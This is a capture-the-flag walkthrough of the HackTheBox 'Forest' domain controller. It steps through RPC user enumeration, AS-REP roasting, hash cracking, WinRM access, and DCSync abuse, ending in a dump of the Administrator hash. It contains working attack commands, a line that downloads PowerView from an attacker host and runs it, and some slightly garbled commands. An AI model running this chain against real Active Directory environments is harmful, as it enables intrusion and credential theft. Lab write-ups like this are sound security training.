HackTheBox: Forest Walkthrough
One of the neat things about HTB is that it exposes Windows concepts unlike any CTF I’d come across before it. Forest is a great example of that. It is a domain controller that allows me to enumerate users over RPC, attack Kerberos with AS-REP Roasting, and use Win-RM to get a shell. Then I can take advantage of the permissions and accesses of that user to get DCSycn capabilities, allowing me to dump hashes for the administrator user and get a shell as the admin.
Let’s start with first things first, let’s do an nmap scan on this box to see what ports are open and what services are running on these ports.
Nmap scan report for 10.10.10.161
Host is up (0.36s latency).
Not shown: 989 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-07-10 16:49:01Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2023-07-10T16:49:24
|_ start_date: 2023-07-10T15:49:54
| smb-os-discovery:
| OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
| Computer name: FOREST
| NetBIOS computer name: FOREST\x00
| Domain name: htb.local
| Forest name: htb.local
| FQDN: FOREST.htb.local
|_ System time: 2023-07-10T09:49:27-07:00
|_clock-skew: mean: 2h26m50s, deviation: 4h02m32s, median: 6m48s
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: required
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 3578.27 seconds
This looks like a domain controller. I’ll also notice TCP/5985, which means if I can find credentials for a user, I might be able to get a an get a shell over WinRM.
DNS — UDP/TCP 53
I can resolve htb.local and forest.htb.local from this DNS server:
But it doesn’t let me do a zone transfer:
SMB — TCP 445
Neither smbmap nor smbclient will allow me to list shares without a password:
└─$ smbmap -H 10.10.10.161
[+] IP: 10.10.10.161:445 Name: htb.local
┌──(kali㉿kali)-[~/HTB/AD-Machines/Forest]
└─$ smbclient -L ////10.10.10.161//
Password for [WORKGROUP\kali]:
Anonymous login successful
Sharename Type Comment
--------- ---- -------
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.10.161 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
I can try to check over RPC to enumerate users. BlackHills has a good post on this.
I’ll connect with null auth:
rpcclient -U "" -N 10.10.10.161
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[$331000-VK4ADACQNUCA] rid:[0x463]
user:[SM_2c8eef0a09b545acb] rid:[0x464]
user:[SM_ca8c2ed5bdab4dc9b] rid:[0x465]
user:[SM_75a538d3025e4db9a] rid:[0x466]
user:[SM_681f53d4942840e18] rid:[0x467]
user:[SM_1b41c9286325456bb] rid:[0x468]
user:[SM_9b69f1b9d2cc45549] rid:[0x469]
user:[SM_7c96b981967141ebb] rid:[0x46a]
user:[SM_c75ee099d0a64c91b] rid:[0x46b]
user:[SM_1ffab36a2f5f479cb] rid:[0x46c]
user:[HealthMailboxc3d7722] rid:[0x46e]
user:[HealthMailboxfc9daad] rid:[0x46f]
user:[HealthMailboxc0a90c9] rid:[0x470]
user:[HealthMailbox670628e] rid:[0x471]
user:[HealthMailbox968e74d] rid:[0x472]
user:[HealthMailbox6ded678] rid:[0x473]
user:[HealthMailbox83d6781] rid:[0x474]
user:[HealthMailboxfd87238] rid:[0x475]
user:[HealthMailboxb01ac64] rid:[0x476]
user:[HealthMailbox7108a4e] rid:[0x477]
user:[HealthMailbox0659cc1] rid:[0x478]
user:[sebastien] rid:[0x479]
user:[lucinda] rid:[0x47a]
user:[svc-alfresco] rid:[0x47b]
user:[andy] rid:[0x47e]
user:[mark] rid:[0x47f]
user:[santi] rid:[0x480]
rpcclient $>
From the rpc enumeration users, We can try AES-Rep roasting.
There is an option for an account to have the property “Do not require Kerberos preauthentication” or UF_DONT_REQUIRE_PREAUTH set to true. AS-REP Roasting is an attack against Kerberos for these accounts. I have a list of accounts from my RPC enumeration above. I’ll start without the SM* or HealthMailbox* accounts:
Now I can use the Impacket tool GetNPUsers.py to try to get a hash for each user, and I find one for the svc-alfresco account:
for user in $(cat ../users.txt); do python3 GetNPUsers.py -no-pass -dc-ip 10.10.10.161 htb/${user} | grep -v Impacket; done
[*] Getting TGT for Administrator
[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[*] Getting TGT for andy
[-] User andy doesn't have UF_DONT_REQUIRE_PREAUTH set
[*] Getting TGT for lucinda
[-] User lucinda doesn't have UF_DONT_REQUIRE_PREAUTH set
[*] Getting TGT for mark
[-] User mark doesn't have UF_DONT_REQUIRE_PREAUTH set
[*] Getting TGT for santi
[-] User santi doesn't have UF_DONT_REQUIRE_PREAUTH set
[*] Getting TGT for sebastien
[-] User sebastien doesn't have UF_DONT_REQUIRE_PREAUTH set
[*] Getting TGT for svc-alfresco
$krb5asrep$23$svc-alfresco@HTB:4c994589f21f5488522e58fa9e8d5492$a08d7f818f228dccc012b543ce2c15f846eb49b70e5102a3ef9923e5cc52a080455d5fd90006ba099cc9395ad6cf2fc0a196481342ec17934fbcfa26cd060949bd7f849d62adbb84e9bc25bcf43748e44affebaac89502d6f3d171c37f950df04912dae29f5d525dd67acedbbfb8889a58dad8cafc99da2e042afe4efa4cc799445ca7d57c43247fd818f935ba1f08dfd88ede3b916159e71cf4e600ee054e22c04d29196581dca479cfe551a421e6acfaadfabb35b5b6dc0dbb5beb5f403125d29e9dea8dbf6ca8797dc08a091a60709b9161652f7e495e8a2c2a83fce7eca0
Now we have the hash let’s crack it with john:
john --wordlist=/usr/share/wordlists/rockyou.txt svc_alfresco
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 128/128 AVX 4x])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
s3rvice ($krb5asrep$23$svc-alfresco@HTB)
1g 0:00:00:11 DONE (2023-07-10 13:55) 0.08375g/s 342190p/s 342190c/s 342190C/s s401447401447401447..s3r2s1
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
I see the password is “s3rvice”.
Now let’s give these credentials to WinRM to see, If it works:
Now let’s grab the user flag and move to the privilege escalation part. Upload the data to bloodhound.
There’s two jumps needed to get from my current access as svc-alfresco to Adminsitrator, who is in the Domain Admins group.
Join Exchange Windows Permissions Group
Because my user is in Service Account, which is a member of Privileged IT Account, which is a member of Account Operators, it’s basically like my user is a member of Account Operators. And Account Operators has Generic All privilege on the Exchange Windows Permissions group. If I right click on the edge in Bloodhound, and select help, there’s an “Abuse Info” tab in the pop up that displays:
This gives a full background as to how to abuse this, and if I scroll down, I see an example:
Moreover, the “Exchange Windows Permissions” does have WriteDACL permission on the Domain (htb.local). It means that if we create a user and add it to the “Exchange Windows Permissions” group, we could give him DCSync access rights and dump domain controller password hashes.
So, we have four (4) things to do :
Create a user
Add it to the “Exchange Windows Permission”s group
Add it to the “Remote Management Users” group (to have remote access rights)
Abuse weak permission on DACLs to get DCSync rights
First, the user and groups attribution.
net user marvel 'Passw0rd' \add \domain
net group "Windows Execution Permissions" marvel \add
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> (New-Object System.Net.WebClient).DownloadString('http://10.10.14.10/PowerView.ps1') | IEX
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> $SecPass = ConvertTo-SecureString 'Passw0rd' -AsPlainText -Force
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> $Cred = New-Object System.Management.Automation.PSCredential('htb.local\marvel', $SecPass)
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> Add-ObjectACL -PrincipalIdentity marvel -Credential $Cred -Rights DCSync
Now that marvel have DCSync permission, we should be able to dump users hashes from the domain controller.
python3 secretsdump.py 'marvel:Passw0rd@10.10.10.161' -just-dc-user Administrator -just-dc-ntlm
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
htb.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6:::
[*] Cleaning up...
Now just pass the hash through WinRM and get the shell.
Stay Tuned :)